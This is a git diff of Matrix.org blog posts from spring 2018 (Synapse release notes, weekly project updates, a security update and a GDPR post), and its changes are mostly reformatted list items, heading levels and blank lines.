    @@ -31,7 +31,7 @@ thanks for flying Matrix! Bug fixes:
      -
    • Fix bug which broke TCP replication between workers (PR #3015)
    • +
    • Fix bug which broke TCP replication between workers (PR #3015)
    ### Changes in synapse v0.27.1 (2018-03-26) @@ -48,7 +48,7 @@ Pulls in v0.26.1 Bug fixes:
      -
    • Fix bug introduced in v0.27.0-rc1 that causes much increased memory usage in state cache (PR #3005)
    • +
    • Fix bug introduced in v0.27.0-rc1 that causes much increased memory usage in state cache (PR #3005)
    ### Changes in synapse v0.27.0-rc1 (2018-03-14) @@ -61,39 +61,39 @@ Note that the v0.28.0 release will remove the deprecated metric names. Features:
      -
    • Add ability for ASes to override message send time (PR #2754)
    • -
    • Add support for custom storage providers for media repository (PR #2867#2777#2783#2789#2791#2804#2812#2814#2857#2868#2767)
    • -
    • Add purge API features, see docs/admin_api/purge_history_api.rst <docs/admin_api/purge_history_api.rst>_ for full details (PR #2858#2867#2882#2946#2962#2943)
    • -
    • Add support for whitelisting 3PIDs that users can register. (PR #2813)
    • -
    • Add /room/{'{'}id{'}'}/event/{'{'}id{'}'} API (PR #2766)
    • -
    • Add an admin API to get all the media in a room (PR #2818) Thanks to @turt2live!
    • -
    • Add federation_domain_whitelist option (PR #2820#2821)
    • +
    • Add ability for ASes to override message send time (PR #2754)
    • +
    • Add support for custom storage providers for media repository (PR #2867#2777#2783#2789#2791#2804#2812#2814#2857#2868#2767)
    • +
    • Add purge API features, see docs/admin_api/purge_history_api.rst <docs/admin_api/purge_history_api.rst>_ for full details (PR #2858#2867#2882#2946#2962#2943)
    • +
    • Add support for whitelisting 3PIDs that users can register. (PR #2813)
    • +
    • Add /room/{'{'}id{'}'}/event/{'{'}id{'}'} API (PR #2766)
    • +
    • Add an admin API to get all the media in a room (PR #2818) Thanks to @turt2live!
    • +
    • Add federation_domain_whitelist option (PR #2820#2821)
    Changes: Bug fixes:
      -
    • Fix broken ldap_config config option (PR #2683) Thanks to @seckrv!
    • -
    • Fix error message when user is not allowed to unban (PR #2761) Thanks to @turt2live!
    • -
    • Fix publicised groups GET API (singular) over federation (PR #2772)
    • -
    • Fix user directory when using user_directory_search_all_users config option (PR #2803#2831)
    • -
    • Fix error on /publicRooms when no rooms exist (PR #2827)
    • -
    • Fix bug in quarantine_media (PR #2837)
    • -
    • Fix url_previews when no Content-Type is returned from URL (PR #2845)
    • -
    • Fix rare race in sync API when joining room (PR #2944)
    • -
    • Fix slow event search, switch back from GIST to GIN indexes (PR #2769#2848)
    • +
    • Fix broken ldap_config config option (PR #2683) Thanks to @seckrv!
    • +
    • Fix error message when user is not allowed to unban (PR #2761) Thanks to @turt2live!
    • +
    • Fix publicised groups GET API (singular) over federation (PR #2772)
    • +
    • Fix user directory when using user_directory_search_all_users config option (PR #2803#2831)
    • +
    • Fix error on /publicRooms when no rooms exist (PR #2827)
    • +
    • Fix bug in quarantine_media (PR #2837)
    • +
    • Fix url_previews when no Content-Type is returned from URL (PR #2845)
    • +
    • Fix rare race in sync API when joining room (PR #2944)
    • +
    • Fix slow event search, switch back from GIST to GIN indexes (PR #2769#2848)
    diff --git a/content/blog/2018/04/2018-04-11-synapse-0-27-3-released.md b/content/blog/2018/04/2018-04-11-synapse-0-27-3-released.md index e0290096c..04df8b2ed 100644 --- a/content/blog/2018/04/2018-04-11-synapse-0-27-3-released.md +++ b/content/blog/2018/04/2018-04-11-synapse-0-27-3-released.md @@ -22,7 +22,7 @@ As always, you can get it from #3082) +
  • URL quote path segments over federation (#3082)
  • ### Changes in synapse v0.27.3-rc2 (2018-04-09) @@ -39,41 +39,42 @@ with matrix.org. Also, recording 'r30' stat which is the measure we use to track overall growth of the Matrix ecosystem. It is defined as:- Counts the number of native 30 day retained users, defined as:- + * Users who have created their accounts more than 30 days * Where last seen at most 30 days ago * Where account creation and last_seen are > 30 days" Features:
      -
    • Add joinability for groups (PR #3045)
    • -
    • Implement group join API (PR #3046)
    • -
    • Add counter metrics for calculating state delta (PR #3033)
    • -
    • R30 stats (PR #3041)
    • -
    • Measure time it takes to calculate state group ID (PR #3043)
    • -
    • Add basic performance statistics to phone home (PR #3044)
    • -
    • Add response size metrics (PR #3071)
    • -
    • phone home cache size configurations (PR #3063)
    • +
    • Add joinability for groups (PR #3045)
    • +
    • Implement group join API (PR #3046)
    • +
    • Add counter metrics for calculating state delta (PR #3033)
    • +
    • R30 stats (PR #3041)
    • +
    • Measure time it takes to calculate state group ID (PR #3043)
    • +
    • Add basic performance statistics to phone home (PR #3044)
    • +
    • Add response size metrics (PR #3071)
    • +
    • phone home cache size configurations (PR #3063)
    Changes:
      -
    • Add a blurb explaining the main synapse worker (PR #2886) Thanks to @turt2live!
    • -
    • Replace old style error catching with 'as' keyword (PR #3000) Thanks to @NotAFile!
    • -
    • Use .iter* to avoid copies in StateHandler (PR #3006)
    • -
    • Linearize calls to _generate_user_id (PR #3029)
    • -
    • Remove last usage of ujson (PR #3030)
    • -
    • Use simplejson throughout (PR #3048)
    • -
    • Use static JSONEncoders (PR #3049)
    • -
    • Remove uses of events.content (PR #3060)
    • -
    • Improve database cache performance (PR #3068)
    • +
    • Add a blurb explaining the main synapse worker (PR #2886) Thanks to @turt2live!
    • +
    • Replace old style error catching with 'as' keyword (PR #3000) Thanks to @NotAFile!
    • +
    • Use .iter* to avoid copies in StateHandler (PR #3006)
    • +
    • Linearize calls to _generate_user_id (PR #3029)
    • +
    • Remove last usage of ujson (PR #3030)
    • +
    • Use simplejson throughout (PR #3048)
    • +
    • Use static JSONEncoders (PR #3049)
    • +
    • Remove uses of events.content (PR #3060)
    • +
    • Improve database cache performance (PR #3068)
    Bug fixes:
      -
    • Add room_id to the response of rooms/{'{'}roomId{'}'}/join (PR #2986) Thanks to @jplatte!
    • -
    • Fix replication after switch to simplejson (PR #3015)
    • -
    • Fix replication after switch to simplejson (PR #3015)
    • -
    • 404 correctly on missing paths via NoResource (PR #3022)
    • -
    • Fix error when claiming e2e keys from offline servers (PR #3034)
    • -
    • fix tests/storage/test_user_directory.py (PR #3042)
    • -
    • use PUT instead of POST for federating groups/m.join_policy (PR #3070) Thanks to @krombel!
    • -
    • postgres port script: fix state_groups_pkey error (PR #3072)
    • +
    • Add room_id to the response of rooms/{'{'}roomId{'}'}/join (PR #2986) Thanks to @jplatte!
    • +
    • Fix replication after switch to simplejson (PR #3015)
    • +
    • Fix replication after switch to simplejson (PR #3015)
    • +
    • 404 correctly on missing paths via NoResource (PR #3022)
    • +
    • Fix error when claiming e2e keys from offline servers (PR #3034)
    • +
    • fix tests/storage/test_user_directory.py (PR #3042)
    • +
    • use PUT instead of POST for federating groups/m.join_policy (PR #3070) Thanks to @krombel!
    • +
    • postgres port script: fix state_groups_pkey error (PR #3072)
    diff --git a/content/blog/2018/04/2018-04-20-this-week-in-matrix-2018-04-20.md b/content/blog/2018/04/2018-04-20-this-week-in-matrix-2018-04-20.md index caf89e8f0..119ab392c 100644 --- a/content/blog/2018/04/2018-04-20-this-week-in-matrix-2018-04-20.md +++ b/content/blog/2018/04/2018-04-20-this-week-in-matrix-2018-04-20.md @@ -9,7 +9,7 @@ category = ["This Week in Matrix"] ## Project Updates -#### Drupal matrix_api module +### Drupal matrix_api module Updated the Drupal matrix_api module to pass the auth token as a header instead of as a GET param... the GET param was leaking the token if there was an http exception thrown. @@ -76,13 +76,13 @@ krombel built a bot to have a two step registration to synapse, check it out: Cadair reported that he and SolarDrew have written a bot to bridge a whole slack team into a matrix community. It basically handles all the room admin for you including:
      -
    • Invite the slack bot to the channel
    • -
    • Creating matrix rooms
    • -
    • Setting users as admins
    • -
    • Setting room name and room avatar and as publicly joinable
    • -
    • Setting up the link with the slack AS
    • -
    • Creating and adding rooms to the community
    • -
    • Inviting all members of the community to the rooms
    • +
    • Invite the slack bot to the channel
    • +
    • Creating matrix rooms
    • +
    • Setting users as admins
    • +
    • Setting room name and room avatar and as publicly joinable
    • +
    • Setting up the link with the slack AS
    • +
    • Creating and adding rooms to the community
    • +
    • Inviting all members of the community to the rooms
    It does these things on a 1 min cron, to pick up new channels as they are created on the slack side. @@ -123,48 +123,48 @@ There is also a spec proposal room: #uri-scheme-proposal:matrix.org. #### Riot/Web
      -
    • The Great Relayering landed - almost all of Riot/Web's code is now gathered together in one sensible place (matrix-react-sdk). No more duplicate PRs or CSS & JS living in different repos!
    • -
    • Folks with open PRs against the riot-web repository will need to reopen them against matrix-react-sdk (or more likely, merge them into their existing equivalents on matrix-react-sdk)
    • -
    • Michael (t3chguy's) Replies work has almost landed and is looking fantastic!
    • -
    • Next up: improving test coverage slightly; fixing regressions in 0.14; and a few other minor bits and bobs before we land 0.15.
    • +
    • The Great Relayering landed - almost all of Riot/Web's code is now gathered together in one sensible place (matrix-react-sdk). No more duplicate PRs or CSS & JS living in different repos!
    • +
    • Folks with open PRs against the riot-web repository will need to reopen them against matrix-react-sdk (or more likely, merge them into their existing equivalents on matrix-react-sdk)
    • +
    • Michael (t3chguy's) Replies work has almost landed and is looking fantastic!
    • +
    • Next up: improving test coverage slightly; fixing regressions in 0.14; and a few other minor bits and bobs before we land 0.15.
    #### Riot/Mobile
      -
    • New releases on the horizon for both iOS & Android
    • -
    • Welcomed Benoit to the Android team, acting as lead android dev!
    • -
    • Finalising all new UX for configuring push notification permissions…
    • -
    • Final touches for Sticker viewing (including animated stickers!)
    • -
    • Fix embarrassing crash on iOS on certain shapes of Riot/Web URLs...
    • -
    • Supporting French Government Matrix activity
    • +
    • New releases on the horizon for both iOS & Android
    • +
    • Welcomed Benoit to the Android team, acting as lead android dev!
    • +
    • Finalising all new UX for configuring push notification permissions…
    • +
    • Final touches for Sticker viewing (including animated stickers!)
    • +
    • Fix embarrassing crash on iOS on certain shapes of Riot/Web URLs...
    • +
    • Supporting French Government Matrix activity
    #### Synapse
      -
    • Operational firefighting continues: stopping malformed events from impacting federation; investigating thundering herds of presence EDUs; trying to keep Freenode joins from lagging;
    • -
    • Meanwhile, Erik has been working hard on the problem of Incremental State Resolution (the big algorithmic win which could massively improve HS performance, especially for Synapse); this is looking promising and has ended up taking the form of a formal mathematical proof that the proposed algorithm works: https://matrix.org/_matrix/media/v1/download/jki.re/hSmkLkFGVUnrXjtYcjsCUsyS (aka https://github.com/matrix-org/synapse/pull/3122) is where that's happening! Warning: contains maths.
    • -
    • ...and also wrote a Rust testjig for state resolution to help reason about it: https://github.com/erikjohnston/rust-matrix-state
    • -
    • Official Ansible playbook repository dev is progressing on the develop branch at https://github.com/matrix-org/matrix-ansible thanks to massive work from Michael K. We'll blog properly about this when ready for use in earnest.
    • -
    • Dave has been doing an interesting experiment in syncing user profile data from HSes into ISes (useful for folks running a private federation with its own IS who want to use the IS as a global user directory); almost complete - we'll see how this goes.
    • -
    • GDPR work is in progress. We're seeing how far we can push the envelope on improving privacy, including a very interesting thought experiment on pseudonyimsing MXIDs to provide 'perfect' right-to-erasure. vdH is on the case. Warning: this may well require a major federation protocol bump if we go through with it.
    • -
    • More Python3 port PRs are landing from NotAFile - thanks! They're getting slightly lost behind everything above.
    • +
    • Operational firefighting continues: stopping malformed events from impacting federation; investigating thundering herds of presence EDUs; trying to keep Freenode joins from lagging;
    • +
    • Meanwhile, Erik has been working hard on the problem of Incremental State Resolution (the big algorithmic win which could massively improve HS performance, especially for Synapse); this is looking promising and has ended up taking the form of a formal mathematical proof that the proposed algorithm works: https://matrix.org/_matrix/media/v1/download/jki.re/hSmkLkFGVUnrXjtYcjsCUsyS (aka https://github.com/matrix-org/synapse/pull/3122) is where that's happening! Warning: contains maths.
    • +
    • ...and also wrote a Rust testjig for state resolution to help reason about it: https://github.com/erikjohnston/rust-matrix-state
    • +
    • Official Ansible playbook repository dev is progressing on the develop branch at https://github.com/matrix-org/matrix-ansible thanks to massive work from Michael K. We'll blog properly about this when ready for use in earnest.
    • +
    • Dave has been doing an interesting experiment in syncing user profile data from HSes into ISes (useful for folks running a private federation with its own IS who want to use the IS as a global user directory); almost complete - we'll see how this goes.
    • +
    • GDPR work is in progress. We're seeing how far we can push the envelope on improving privacy, including a very interesting thought experiment on pseudonyimsing MXIDs to provide 'perfect' right-to-erasure. vdH is on the case. Warning: this may well require a major federation protocol bump if we go through with it.
    • +
    • More Python3 port PRs are landing from NotAFile - thanks! They're getting slightly lost behind everything above.
    #### Dendrite
      -
    • Still stuck behind Synapse work.
    • -
    • Barring disasters we have at least 2 new folks starting fulltime in the core team (both synapse & dendrite) to help backend progress at the end of May however!
    • -
    • Lots of PRs coming in from APWhitehat though - thanks!!
    • +
    • Still stuck behind Synapse work.
    • +
    • Barring disasters we have at least 2 new folks starting fulltime in the core team (both synapse & dendrite) to help backend progress at the end of May however!
    • +
    • Lots of PRs coming in from APWhitehat though - thanks!!
    #### Spec
      -
    • uhoreg has been looking at the .well-known URI proposal again
    • -
    • Spec work on the core team is currently stuck behind Riot/Web and Synapse work, sadly, on the basis that burning implementation problems are more visible and harming to the project than burning spec problems.
    • +
    • uhoreg has been looking at the .well-known URI proposal again
    • +
    • Spec work on the core team is currently stuck behind Riot/Web and Synapse work, sadly, on the basis that burning implementation problems are more visible and harming to the project than burning spec problems.
    ## Matrix in the News @@ -178,18 +178,17 @@ Huge thank you to nouts who p ## New Rooms roundup -## And Finally... +## And Finally Check out Matrix Live, now available at https://youtu.be/EstVaVUWkdw {{ youtube_player(video_id="EstVaVUWkdw") }} Thanks for reading the very first This Week in Matrix! There will be another post next week, so if you'd like to be included join us in #twim:matrix.org. See you next week! - diff --git a/content/blog/2018/04/2018-04-26-matrix-and-riot-confirmed-as-the-basis-for-france-s-secure-instant-messenger-app.md b/content/blog/2018/04/2018-04-26-matrix-and-riot-confirmed-as-the-basis-for-france-s-secure-instant-messenger-app.md index 7b24866e1..1699c2db6 100644 --- a/content/blog/2018/04/2018-04-26-matrix-and-riot-confirmed-as-the-basis-for-france-s-secure-instant-messenger-app.md +++ b/content/blog/2018/04/2018-04-26-matrix-and-riot-confirmed-as-the-basis-for-france-s-secure-instant-messenger-app.md @@ -12,16 +12,12 @@ Hi folks, We're incredibly excited that the Government of France has confirmed it is in the process of deploying a huge private federation of Matrix homeservers spanning the whole government, and developing a fork of Riot.im for use as their official secure communications client! The goal is to replace usage of WhatsApp or Telegram for official purposes. - It's a unbelievably wonderful situation that we're living in a world where governments genuinely care about openness, open source and open-standard based communications - and Matrix's decentralisation and end-to-end encryption is a perfect fit for intra- and inter-governmental communication.  Congratulations to France for going decentralised and supporting FOSS! We understand the whole project is going to be released entirely open source (other than the operational bits) - development is well under way and an early proof of concept is already circulating within various government entities. - I'm sure there will be more details from their side as the project progresses, but meanwhile here's the official press release, and an English translation too. We expect this will drive a lot of effort into maturing Synapse/Dendrite, E2E encryption and matrix-{'{'}react,ios,android{'}'}-sdk, which is great news for the whole Matrix ecosystem! The deployment is going to be speaking pure Matrix and should be fully compatible with other Matrix clients and projects in addition to the official client. - So: exciting times for Matrix.  Needless to say, if you work on Open Government projects in other countries, please get in touch - we're seeing that Matrix really is a sweet spot for these sort of use cases and we'd love to help get other deployments up and running.  We're also hoping it's going to help iron out many of the UX kinks we have in Riot.im today as we merge stuff back. We'd like to thank DINSIC (the Department responsible for the project) for choosing Matrix, and can't wait to see how the project progresses! - English Translation: diff --git a/content/blog/2018/04/2018-04-27-synapse-0-28-0-released.md b/content/blog/2018/04/2018-04-27-synapse-0-28-0-released.md index 49b4c2234..3253e5621 100644 --- a/content/blog/2018/04/2018-04-27-synapse-0-28-0-released.md +++ b/content/blog/2018/04/2018-04-27-synapse-0-28-0-released.md @@ -17,8 +17,8 @@ As always, you can get it from #3130) -
  • Fix media admin APIs (PR #3134)
  • +
  • Fix quarantine media admin API and search reindex (PR #3130)
  • +
  • Fix media admin APIs (PR #3134)
  • ### Changes in synapse v0.28.0-rc1 (2018-04-24) @@ -29,33 +29,33 @@ Minor performance improvement to federation sending and bug fixes. Features:
      -
    • Add metrics for event processing lag (PR #3090)
    • -
    • Add metrics for ResponseCache (PR #3092)
    • +
    • Add metrics for event processing lag (PR #3090)
    • +
    • Add metrics for ResponseCache (PR #3092)
    Changes:
      -
    • Synapse on PyPy (PR #2760) Thanks to @Valodim!
    • -
    • move handling of auto_join_rooms to RegisterHandler (PR #2996) Thanks to @krombel!
    • -
    • Improve handling of SRV records for federation connections (PR #3016) Thanks to @silkeh!
    • -
    • Document the behaviour of ResponseCache (PR #3059)
    • -
    • Preparation for py3 (PR #3061#3073#3074#3075#3103#3104#3106#3107#3109#3110) Thanks to @NotAFile!
    • -
    • update prometheus dashboard to use new metric names (PR #3069) Thanks to @krombel!
    • -
    • use python3-compatible prints (PR #3074) Thanks to @NotAFile!
    • -
    • Send federation events concurrently (PR #3078)
    • -
    • Limit concurrent event sends for a room (PR #3079)
    • -
    • Improve R30 stat definition (PR #3086)
    • -
    • Send events to ASes concurrently (PR #3088)
    • -
    • Refactor ResponseCache usage (PR #3093)
    • -
    • Clarify that SRV may not point to a CNAME (PR #3100) Thanks to @silkeh!
    • -
    • Use str(e) instead of e.message (PR #3103) Thanks to @NotAFile!
    • -
    • Use six.itervalues in some places (PR #3106) Thanks to @NotAFile!
    • -
    • Refactor store.have_events (PR #3117)
    • +
    • Synapse on PyPy (PR #2760) Thanks to @Valodim!
    • +
    • move handling of auto_join_rooms to RegisterHandler (PR #2996) Thanks to @krombel!
    • +
    • Improve handling of SRV records for federation connections (PR #3016) Thanks to @silkeh!
    • +
    • Document the behaviour of ResponseCache (PR #3059)
    • +
    • Preparation for py3 (PR #3061#3073#3074#3075#3103#3104#3106#3107#3109#3110) Thanks to @NotAFile!
    • +
    • update prometheus dashboard to use new metric names (PR #3069) Thanks to @krombel!
    • +
    • use python3-compatible prints (PR #3074) Thanks to @NotAFile!
    • +
    • Send federation events concurrently (PR #3078)
    • +
    • Limit concurrent event sends for a room (PR #3079)
    • +
    • Improve R30 stat definition (PR #3086)
    • +
    • Send events to ASes concurrently (PR #3088)
    • +
    • Refactor ResponseCache usage (PR #3093)
    • +
    • Clarify that SRV may not point to a CNAME (PR #3100) Thanks to @silkeh!
    • +
    • Use str(e) instead of e.message (PR #3103) Thanks to @NotAFile!
    • +
    • Use six.itervalues in some places (PR #3106) Thanks to @NotAFile!
    • +
    • Refactor store.have_events (PR #3117)
    Bug Fixes:
      -
    • Return 401 for invalid access_token on logout (PR #2938) Thanks to @dklug!
    • -
    • Return a 404 rather than a 500 on rejoining empty rooms (PR #3080)
    • -
    • fix federation_domain_whitelist (PR #3099)
    • -
    • Avoid creating events with huge numbers of prev_events (PR #3113)
    • -
    • Reject events which have lots of prev_events (PR #3118)
    • +
    • Return 401 for invalid access_token on logout (PR #2938) Thanks to @dklug!
    • +
    • Return a 404 rather than a 500 on rejoining empty rooms (PR #3080)
    • +
    • fix federation_domain_whitelist (PR #3099)
    • +
    • Avoid creating events with huge numbers of prev_events (PR #3113)
    • +
    • Reject events which have lots of prev_events (PR #3118)
    diff --git a/content/blog/2018/04/2018-04-27-this-week-in-matrix-2018-04-27.md b/content/blog/2018/04/2018-04-27-this-week-in-matrix-2018-04-27.md index 89a611b2b..ce915a54d 100644 --- a/content/blog/2018/04/2018-04-27-this-week-in-matrix-2018-04-27.md +++ b/content/blog/2018/04/2018-04-27-this-week-in-matrix-2018-04-27.md @@ -9,7 +9,7 @@ category = ["This Week in Matrix", "GSOC"] ## Big News -#### GSoC students +### GSoC students Google Summer of Code acceptees were announced, and we're really excited to have FIVE Matrix-related projects to look forward to! @@ -156,7 +156,7 @@ There is a update out on try-matrix ## Articles around the web -#### Riot: A Distributed Way of Having IRC and VOIP Client and Home Server +### Riot: A Distributed Way of Having IRC and VOIP Client and Home Server uhoreg pointed to some charming coverage over on https://itsfoss.com: Riot: A Distributed Way of Having IRC and VOIP Client and Home Server, by Shirish. The article covers some details about riot-web and the open source ethos of Matrix, but my favourite quote by far: @@ -178,7 +178,7 @@ There is a update out on try-matrix
  • #trellobot:t2bot.io (from above) TravisR: "a discussion/developer room for Matrix Trello Bot (https://github.com/turt2live/matrix-trello-bot). This is a bot that notifies rooms of changes to tracked Trello boards, similar to how the Github bot works. Future enhancements include being able to create, update, and delete cards from within Matrix."
  • -## Lastly... +## Lastly Matrix Live - Season 2, Episode 17: Apr 27th is now available! diff --git a/content/blog/2018/05/2018-05-01-security-update-synapse-0-28-1.md b/content/blog/2018/05/2018-05-01-security-update-synapse-0-28-1.md index 72862f1f2..273b947e1 100644 --- a/content/blog/2018/05/2018-05-01-security-update-synapse-0-28-1.md +++ b/content/blog/2018/05/2018-05-01-security-update-synapse-0-28-1.md @@ -25,6 +25,6 @@ As a general reminder, Synapse is still beta (as is the Matrix spec) and the fed SECURITY UPDATE
      -
    • Clamp the allowed values of event depth received over federation to be [0, 2^63 - 1]. This mitigates an attack where malicious events injected with depth = 2^63 - 1 render rooms unusable. Depth is used to determine the cosmetic ordering of events within a room, and so the ordering of events in such a room will default to using stream_ordering rather than depth (topological_ordering). This is a temporary solution to mitigate abuse in the wild, whilst a long solution is being implemented to improve how the depth parameter is used.Full details at https://docs.google.com/document/d/1I3fi2S-XnpO45qrpCsowZv8P8dHcNZ4fsBsbOW7KABI
    • -
    • Pin Twisted to <18.4 until we stop using the private _OpenSSLECCurve API.
    • +
    • Clamp the allowed values of event depth received over federation to be [0, 2^63 - 1]. This mitigates an attack where malicious events injected with depth = 2^63 - 1 render rooms unusable. Depth is used to determine the cosmetic ordering of events within a room, and so the ordering of events in such a room will default to using stream_ordering rather than depth (topological_ordering). This is a temporary solution to mitigate abuse in the wild, whilst a long solution is being implemented to improve how the depth parameter is used.Full details at https://docs.google.com/document/d/1I3fi2S-XnpO45qrpCsowZv8P8dHcNZ4fsBsbOW7KABI
    • +
    • Pin Twisted to <18.4 until we stop using the private _OpenSSLECCurve API.
    diff --git a/content/blog/2018/05/2018-05-04-this-week-in-matrix-2018-05-04.md b/content/blog/2018/05/2018-05-04-this-week-in-matrix-2018-05-04.md index 534d2a73f..f690222a8 100644 --- a/content/blog/2018/05/2018-05-04-this-week-in-matrix-2018-05-04.md +++ b/content/blog/2018/05/2018-05-04-this-week-in-matrix-2018-05-04.md @@ -15,10 +15,10 @@ category = ["This Week in Matrix"] nheko, Qt desktop client announced release v0.4.0. From their own changelog:
      -
    • Basic member list
    • -
    • Basic room settings menu
    • -
    • Support for displaying stickers
    • -
    • Fuzzy search for rooms
    • +
    • Basic member list
    • +
    • Basic room settings menu
    • +
    • Support for displaying stickers
    • +
    • Fuzzy search for rooms
    https://github.com/mujx/nheko/releases/tag/v0.4.0 for more information. @@ -38,11 +38,11 @@ Fractal of course have their in-person meeting coming up soon, and are looking f Rollup of changes since last week includes
      -
    • settings menu
    • -
    • mentions
    • -
    • unread counts
    • -
    • room invite handling
    • -
    • video thumbnails
    • +
    • settings menu
    • +
    • mentions
    • +
    • unread counts
    • +
    • room invite handling
    • +
    • video thumbnails
    and a lot more. @@ -96,57 +96,57 @@ This is super-exciting, especially as we are going to see discussion and progres #### Riot/Web
      -
    • We shipped 0.14.2 as an incremental release
    • -
    • Jitsi by default on the horizon…
    • -
    • Trying to work our way through the regressions which keep stacking up
    • -
    • Lots of work on improved UTs for Groups and Replies; discussion about flux stuff
    • -
    • Next up is E2E verification (at last).
    • +
    • We shipped 0.14.2 as an incremental release
    • +
    • Jitsi by default on the horizon…
    • +
    • Trying to work our way through the regressions which keep stacking up
    • +
    • Lots of work on improved UTs for Groups and Replies; discussion about flux stuff
    • +
    • Next up is E2E verification (at last).
    #### Riot/Mobile
      -
    • Replies
    • -
    • Sticker sending
    • -
    • Android is now Kotlin enabled!
    • +
    • Replies
    • +
    • Sticker sending
    • +
    • Android is now Kotlin enabled!
    #### Synapse
      -
    • Handling abuse of the depth parameter; short-term fix deployed and longer term coming along shortly.
    • -
    • This destroyed progress on the algorithmic perf improvements.
    • -
    • Half-Shot PRs for negotiating size limits
    • -
    • Amber is inbound!
    • +
    • Handling abuse of the depth parameter; short-term fix deployed and longer term coming along shortly.
    • +
    • This destroyed progress on the algorithmic perf improvements.
    • +
    • Half-Shot PRs for negotiating size limits
    • +
    • Amber is inbound!
    #### Dendrite
      -
    • We're behind on PRs - sorry Thibaut :(
    • +
    • We're behind on PRs - sorry Thibaut :(
    #### Matrix.org Ops
      -
    • Ansible stuff is being refactored based on our experiences trying to use it in the wild +
    • Ansible stuff is being refactored based on our experiences trying to use it in the wild status.matrix.org is coming soon!
    #### Spec
      -
    • Loads of work happening to build the Spec Proposals website, tracking workflow for all the proposals in flux and putting them into a formal RFC-style process. It should help community participation in the spec process massively whilst we finalise the longer term governance model for Matrix.org
    • -
    • Also looking at publishing formal roadmaps for Synapse, Dendrite and Riot (at last!) - we have them internally these days but need to just chuck them up on the web and maintain them.
    • -
    • Finally, GDPR work is in full swing.
    • +
    • Loads of work happening to build the Spec Proposals website, tracking workflow for all the proposals in flux and putting them into a formal RFC-style process. It should help community participation in the spec process massively whilst we finalise the longer term governance model for Matrix.org
    • +
    • Also looking at publishing formal roadmaps for Synapse, Dendrite and Riot (at last!) - we have them internally these days but need to just chuck them up on the web and maintain them.
    • +
    • Finally, GDPR work is in full swing.
    ## New(ish) Rooms This section is scraped manually from #newrooms:matrix.org, though there has not been much activity there this week. Meanwhile, there are a couple of rooms suggested by Creak which deserve some love: ## Before we go diff --git a/content/blog/2018/05/2018-05-08-gdpr-compliance-in-matrix.md b/content/blog/2018/05/2018-05-08-gdpr-compliance-in-matrix.md index b5474eb53..3f63dcbce 100644 --- a/content/blog/2018/05/2018-05-08-gdpr-compliance-in-matrix.md +++ b/content/blog/2018/05/2018-05-08-gdpr-compliance-in-matrix.md @@ -29,7 +29,7 @@ We're opting to follow the email model, where the act of sending an event (i.e. This means that if a user invokes their right to erasure, we will need to ensure that their events will only ever be visible to users who already have a copy - and must __never__ be served to new users or the general public. Meanwhile, data which is no longer accessible by any user must of course be deleted entirely. -In the email analogy: this is like saying that you cannot erase emails that you have sent other people; you cannot try to rewrite history as witnessed by others... but you can erase your emails from a public mail archive or search engine and stop them from being visible to anyone else. +In the email analogy: this is like saying that you cannot erase emails that you have sent other people; you cannot try to rewrite history as witnessed by others... but you can erase your emails from a public mail archive or search engine and stop them from being visible to anyone else. It is important to note that GDPR Erasure is _completely separate_ from the existing Matrix functionality of "redactions" which let users remove events from the room. A "redaction" today represents a request for the human-facing details of an event (message, join/leave, avatar change etc) to be removed.  Technically, there is no way to enforce a redaction over federation, but there is a "gentlemen's agreement" that this request will be honoured. @@ -43,7 +43,6 @@ In practice, our core to-do list for Right to Erasure is: - Homeservers must not serve up unredacted events over federation to users who were not in the room at the time. This poses some interesting problems in terms of the privacy implications of sharing MXIDs of erased users over federation - see "GDPR erasure of MXIDs" below. - Matrix must specify a way of informing both servers and clients (especially bots and bridges) of GDPR erasures (as distinct from redactions), so that they can apply the appropriate erasure semantics. - #### GDPR erasure of Matrix IDs One interesting edge case that comes out of GDPR erasure is that we need a way to stop GDPR-erased events from leaking out over federation - when in practice they are cryptographically signed into the event Directed Acyclic Graph (DAG) of a given room. Today, we can remove the message contents (and preserve the integrity of the room's DAG) via redaction - but this still leaves personally identifying information in the form of the Matrix IDs (MXIDs) of the sender of these events. @@ -115,5 +114,4 @@ GDPR mandates rules for all the personal data stored by a business, so there are So, there you have it. We'll be tracking progress in github issues and an associated dashboard over the coming weeks; for now (for Right to Erasure) or (GDPR in general) is as good as place as any to gather feedback. Alternatively, feel free to comment on the original text of this blog post: . - It's worth noting that we feel that GDPR is an excellent piece of legislation from the perspective of forcing us to think more seriously about our privacy - it has forced us to re-prioritise all sorts of long-term deficiencies in Matrix (e.g. dependence on DNS; improving User Interactive authentication; improving logout semantics etc). There's obviously a lot of work to be done here, but hopefully it should all be worth it! diff --git a/content/blog/2018/05/2018-05-18-synapse-0-29-1.md b/content/blog/2018/05/2018-05-18-synapse-0-29-1.md index 9692f8a94..d71c45300 100644 --- a/content/blog/2018/05/2018-05-18-synapse-0-29-1.md +++ b/content/blog/2018/05/2018-05-18-synapse-0-29-1.md @@ -21,7 +21,7 @@ You can pick it up from #3222) +
  • Update docker documentation (PR #3222)
  • ### Changes in synapse v0.29.0 (2018-05-16) @@ -32,66 +32,66 @@ No changes since v0.29.0-rc1 Potentially breaking change:
      -
    • Make Client-Server API return 401 for invalid token (PR #3161).This changes the Client-server spec to return a 401 error code instead of 403 when the access token is unrecognised. This is the behaviour required by the specification, but some clients may be relying on the old, incorrect behaviour.Thanks to @NotAFile for fixing this.
    • +
    • Make Client-Server API return 401 for invalid token (PR #3161).This changes the Client-server spec to return a 401 error code instead of 403 when the access token is unrecognised. This is the behaviour required by the specification, but some clients may be relying on the old, incorrect behaviour.Thanks to @NotAFile for fixing this.
    Features:
      -
    • Add a Dockerfile for synapse (PR #2846) Thanks to @kaiyou!
    • +
    • Add a Dockerfile for synapse (PR #2846) Thanks to @kaiyou!
    Changes - General:
      -
    • nuke-room-from-db.sh: added postgresql option and help (PR #2337) Thanks to @rubo77!
    • -
    • Part user from rooms on account deactivate (PR #3201)
    • -
    • Make 'unexpected logging context' into warnings (PR #3007)
    • -
    • Set Server header in SynapseRequest (PR #3208)
    • -
    • remove duplicates from groups tables (PR #3129)
    • -
    • Improve exception handling for background processes (PR #3138)
    • -
    • Add missing consumeErrors to improve exception handling (PR #3139)
    • -
    • reraise exceptions more carefully (PR #3142)
    • -
    • Remove redundant call to preserve_fn (PR #3143)
    • -
    • Trap exceptions thrown within run_in_background (PR #3144)
    • +
    • nuke-room-from-db.sh: added postgresql option and help (PR #2337) Thanks to @rubo77!
    • +
    • Part user from rooms on account deactivate (PR #3201)
    • +
    • Make 'unexpected logging context' into warnings (PR #3007)
    • +
    • Set Server header in SynapseRequest (PR #3208)
    • +
